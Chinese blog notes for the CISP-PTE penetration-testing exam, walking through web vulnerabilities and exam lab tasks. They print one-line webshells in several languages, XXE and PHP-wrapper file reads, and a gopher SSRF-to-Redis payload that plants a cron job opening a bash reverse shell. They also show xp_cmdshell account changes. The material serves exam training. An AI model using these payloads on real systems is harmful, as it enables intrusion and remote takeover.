i春秋CISP-PTE认证考试笔记

HEXBLOG 130 0
广告

了解CISP-PTE考试

CISP-PTE即注册信息安全渗透测试工程师,英文为 Certified Information Security Professional – Penetration Test Engineer ,简称 CISP-PTE。

准毕业生OR在校生、信息安全从业人员、网络安全兴趣爱好者都可以考。

知识体系结构:
i春秋CISP-PTE认证考试笔记

考试试题结构:
i春秋CISP-PTE认证考试笔记

第一章:Linux和Windows系统安全

文件权限设置,安全策略,日志分析

第二章:web安全

文件上传漏洞

常用一句话木马

PHP:

<?php eval($_REQUEST['hex']);?>

JSP:

<%Runtime.getRuntime().exec(request.getParameter("hex"));%>

ASP:

<%eval request("hex")%>

ASPX:

<%@ Page Language="Jscript"%><%eval(Request.Item["hex"],"unsafe");%>

木马函数被过滤可以修改函数,考试好像不需要免杀

MIME类型检测

常见类型:
i春秋CISP-PTE认证考试笔记

抓包修改Content-Type为图片类型image/gif绕过检测

文件头检测

一般在文件头添加GIF89a绕过检测

黑名单检测

修改filename后缀,利用大小写等其他特性绕过

考试题目

利用上面几种方式上传文件成功,文件名比如shell.php,上传后路径为:根目录/md5(shell.php+rand(1,1000)),这里需要写脚本爆破,脚本代码:

import hashlib
for num in range(1,1000):
    mulu = 'shell.php'+str(num)
    checkcode = hashlib.md5(mulu.encode("utf-8")).hexdigest()
    print(checkcode)

这里多上传几次文件,缩短爆破时间

注入漏洞

XML注入

XML一般被用来传输和存储数据
XML实体概念:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

PHP有个simplexml_load_string函数容易引发漏洞
支持协议:
i春秋CISP-PTE认证考试笔记

一般引用外部实体参数,这里为test,这里使用file协议:

<!DOCTYPE hex[<!ENTITY test SYSTEM "file:///var/www/html/key.txt">]>

使用&test;调用

i春秋CISP-PTE认证考试笔记

代码注入

使用文件包含漏洞进行代码注入,一般分为本地和远程包含,远程包含必须开启allow_url_include和allow_url_fopen,常见函数:
i春秋CISP-PTE认证考试笔记

PHP文件包含的文件内容都被作为代码执行,比如上传一个1.jpg,内容写入

<?php system('ifconfig');?>

利用文件包含执行代码

文件包含漏洞利用PHP伪协议读取本地文件,协议:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

比如127.0.0.1/file.php?filename=file:///var/www/html/key.txt读取key或者直接包含

使用php://协议读取脚本,比如要读取php文件,一般浏览器不会显示源代码,例如读取key.php
127.0.0.1/file.php?filename=php://filter/read/convert.base64-encode/resource=/var/www/html/key.php
显示base64加密的代码,解密就行了

使用php://input提交POST参数,可以写入一句话木马:

<?php fputs(fopen("shell.php","w"),'<?php eval($_REQUEST["hex"]);?>');?>

i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

使用命令执行漏洞进行代码注入,Windows和Linux多条命令语法格式:
i春秋CISP-PTE认证考试笔记

命令执行常用函数:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

黑名单绕过方式:
i春秋CISP-PTE认证考试笔记

考试题目1

文件包含执行代码,但是后面多了个.txt后缀:
i春秋CISP-PTE认证考试笔记

使用data://协议,绕过过滤
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

allow_url_fopen和allow_url_include都是开启可以利用远程包含,在vps写一个1.txt文件,里面写上代码,包含远程1的文件,自动会加上.txt就可以执行

考试题目2

文件包含代码执行,但是无法直接获取key:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

先观察view.html文件的源代码:
i春秋CISP-PTE认证考试笔记

源代码有php代码,应该需要包含进来执行php代码,代码先要传参不能为null,再正则替换关键词,把加密的代码decode:
i春秋CISP-PTE认证考试笔记

发现POST参数decode后用eval函数执行,所以构造payload:Hello=123&z0=system('cat /var/www/html/key.php');
再进行base64加密最后:Hello=123&z0=c3lzdGVtKCdjYXQgL3Zhci93d3cvaHRtbC9rZXkucGhwJyk7
获取key:
i春秋CISP-PTE认证考试笔记

考试题目3

命令执行漏洞,输入127.0.0.1&ifconig,找出未被过滤的拼接字符为&,获取key发现被过滤:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

使用$*绕过获取key:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

还有种方法用nc反弹shell,查看本地IP监听本地4444端口:nc -lvvp 4444
输入命令:
i春秋CISP-PTE认证考试笔记

连接后给予权限获取key:
i春秋CISP-PTE认证考试笔记

还有使用wget远程下载:
i春秋CISP-PTE认证考试笔记

考试题目4

代码审计:
i春秋CISP-PTE认证考试笔记

GET传参不能为空,并且不能大于30个字符,exec函数执行命令但是无法回显内容,所以尝试写入一句话木马:
i春秋CISP-PTE认证考试笔记

发现参数大于30个字符,所以这里分段写入,先写一段再用>>追加进去,eval函数执行php代码,也可以把一句话的eval函数换成system:
i春秋CISP-PTE认证考试笔记

SQL注入

判断注入类型,一种为字符一种为数字,字符就是加了引号,可以使用加减法判断类型,使用单引号查看报错
注释符号:/**/ # -- -(加空格后面为其他字符)
order by 语句判断有多少列:
i春秋CISP-PTE认证考试笔记

information_schema库:
i春秋CISP-PTE认证考试笔记
schemata表记录数据库名的表
tables表记录表名的表
columns表记录列名的表

总结:
i春秋CISP-PTE认证考试笔记

SQLmap使用

基本语句:
i春秋CISP-PTE认证考试笔记

SQLmap文件操作,添加--file-read读取文件,--file-write写入文件--file-dest为目的地址,--os-shell获取shell,--os-cmd执行cmd命令
mysql的load_file函数读取文件,比如load_file('/var/www/html/key.php')
mysql的outfile和dumpfile函数,比如'写入内容' into outfile 'C:/'

WAF绕过

WAF分类:
i春秋CISP-PTE认证考试笔记

常规绕WAF:
i春秋CISP-PTE认证考试笔记

sqlmap的tamper脚本绕过WAF,--tamper=脚本名字:
i春秋CISP-PTE认证考试笔记

考试题目

简单过滤绕过
i春秋CISP-PTE认证考试笔记

XSS漏洞

漏洞利用:
i春秋CISP-PTE认证考试笔记

请求伪造漏洞

SSRF服务端请求伪造

原理:
i春秋CISP-PTE认证考试笔记

dict://ip:port/info 伪协议探测端口开放,file协议读取文件:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

考试题目

利用gopher+ssrf+redis未授权反弹shell:
i春秋CISP-PTE认证考试笔记

payload,回车是%0a,因为CR和LF回车换号改为%0d%0a:

curl.exe -v "gopher://172.16.12.2:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$60%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.16.11.2/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a"

encode后payload:

curl.exe -v "gopher%3A%2F%2F172.16.12.2%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2460%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.11.2%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a"

一般payload差不多,设置IP时或者端口字数不一样这里$60需要更改

CSRF跨站请求伪造

原理:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

访问控制漏洞

横向越权

原理:
i春秋CISP-PTE认证考试笔记

垂直越权

原理:
i春秋CISP-PTE认证考试笔记

使用cookie进行严格验证

会话管理漏洞

会话劫持

cookie和session机制:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

修改cookie获取管理员权限:
i春秋CISP-PTE认证考试笔记

第三章:中间件安全

Apache安全

apache配置文件位于:/etc/httpd/conf/httpd.conf
会自动创建叫apache的用户和组,权限配置:
i春秋CISP-PTE认证考试笔记

日志设置:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

禁止目录列出:
i春秋CISP-PTE认证考试笔记

错误页面重定向:
i春秋CISP-PTE认证考试笔记

web目录权限:
i春秋CISP-PTE认证考试笔记

配置文件夹添加代码防止文件执行权限:
i春秋CISP-PTE认证考试笔记

Apache服务文件名解析漏洞

漏洞原理,上传apache无法解析的文件类型:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

Apache服务日志审计

日志文件:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

分析日志获取后台或者webshell等信息

IIS服务安全

权限设置:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

常见漏洞,一般为asp文件:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

Tomcat服务安全

安全配置,修改密码,隐藏服务版本,一般为jsp文件:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

一般使用弱口令上传war大马:
i春秋CISP-PTE认证考试笔记

日志分析:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

数据库安全

关系型数据库:

Mssql数据库

服务器角色:
i春秋CISP-PTE认证考试笔记

数据库角色:
i春秋CISP-PTE认证考试笔记

利用xp_cmdshell存储过程操作系统文件执行命令,打开禁用xp_cmdshell存储:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

其他命令:
i春秋CISP-PTE认证考试笔记

测试aspx站点,Mssql注入之后远程桌面登录服务器,这里用堆叠注入分号结束上一个语句:;exec xp_cmdshell "net user administrator test123"--
i春秋CISP-PTE认证考试笔记

Mysql数据库

操作系统中的运行权限等其他权限,用命令赋予root用户登录权限,默认为关闭:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

常用函数:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

提权方法,使用Udf提权,使用UDf大马,创建自定义函数执行系统命令:
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记
i春秋CISP-PTE认证考试笔记

Oracle数据库

PTE不考,PTS考

非关系型数据库:

Redis数据库

PTE不考,PTS考

渗透测试方法

发表评论 取消回复
表情 图片 链接 代码

分享